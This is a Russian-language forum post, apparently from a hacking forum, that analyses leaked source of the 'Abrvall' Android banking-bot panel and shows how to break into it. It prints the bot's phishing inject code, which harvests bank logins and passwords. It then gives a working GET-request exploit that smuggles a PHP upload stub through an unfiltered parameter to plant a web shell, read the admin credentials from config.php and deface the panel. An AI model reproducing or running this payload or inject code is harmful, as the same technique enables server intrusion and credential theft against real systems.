Авторизация  
TEXHO

Ломаем Android-бот Abrvall [2017]

В теме 1 сообщение

_rVXW4V9Sp2oxXbgWHra0A.png

 

Давным-давно мне попался в руки сорц одного андроид-бота. И разумеется, сорц был проанализирован вдоль и поперек.

 

 

Автор бота - Conf, ныне в статусе кидалы. Поэтому, ломаем.

 

jfNAgg4wQdS_jLyskiKyIg.png

 

Полное описание можете посмотреть на экспе. Говорят, что автор бота умер. Но это не точно. Через день после блека деньги с бтц-кошеля вывели. Ну вы поняли...

 

Посмотрел я исходники и знаете, был весьма удивлен. Можно, конечно, говорить про XSS да SQL-инъекции (они были, разумеется). Но интереснее другое - в процессе анализа кода, я насчитал больше 20 способов заливки шелла.

 

В папочке inject лежит добротная кучка инжектов под банки, платежки и соцсети. Рассмотрим кусок кода одного из них (/inject/akbank/verify.php):

 

Code:
<? $acoount = ""; if(isset($_REQUEST["uniqid"])) {    $uniqid = $_REQUEST["uniqid"];    $acoount .= $uniqid."|";} if(isset($_REQUEST["packet"])) {    $pack = $_REQUEST["packet"];    //$acoount .= $pack."|";    $acoount .= "www.akbank.com|";} if(isset($_REQUEST["email"])) {    $email = $_REQUEST["email"];    $acoount .= $email."|";} if(isset($_REQUEST["login"])) {    $login = $_REQUEST["login"];    $acoount .= $login."|";} if(isset($_REQUEST["password"])) {    $passwed = $_REQUEST["password"];    $acoount .= $passwed;} include_once("../../config.php");$link = mysql_connect($mysql_host, $mysql_user, $mysql_pwd);if (!$link) {    die(mysql_close($link));}mysql_select_db($mysql_db) || die(mysql_close($link));mysql_query("INSERT INTO stata (imei, carta) VALUES ('$uniqid', '') ON DUPLICATE KEY UPDATE imei = '" . $uniqid . "', carta = '1'") or die(mysql_close($link));mysql_close($link); file_put_contents("../tds/temp/".$uniqid, $acoount."rn", FILE_APPEND | LOCK_EX);if(is_file("../../temp/needinject".$uniqid)) {    unlink("../../temp/needinject".$uniqid);}file_put_contents("../../temp/stopinj".$uniqid, "");
Все здесь прекрасно - нет никакой фильтрации и сходу идет запись в файл.

И что еще прекраснее, в 23 папках лежит схожий verify.php с такими же багами:

 

vSt4EI8uRry6ywdMvREVdQ.png

 

Если этого мало, то в корне бота есть savephone.php, sendsms.php и comment.php с аналогичными багами (вдобавок надо только подделать реферер). Но вернемся к файлу verify.php. Льем заливалку GET-запросом:

 

http://abrvall/inject/akbank/verify.php?uniqid=312468399102471235.php&email=<fo rm method=post enctype=multipart/form-data><input type=file name=file><input type=submit></form><?php if(is_uploaded_file($_FILES[file][tmp_name])) move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]);?>
Переходим на заливалку:

 

Еще пара манипуляций и шелл залит:

 

9ETFwY4DSQ6aV6AE0-xxug.png

 

Читаем файл config.php в корне, тащим логин/пасс админа, заходим и оставляем доброе послание:

 

dV2TuyrSSpOeqzPuTDYpjg.png

 

Можно, конечно, сделать что-то менее палевное и куда более веселое, но это уже на ваше усмотрение...

 

© Lebron

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация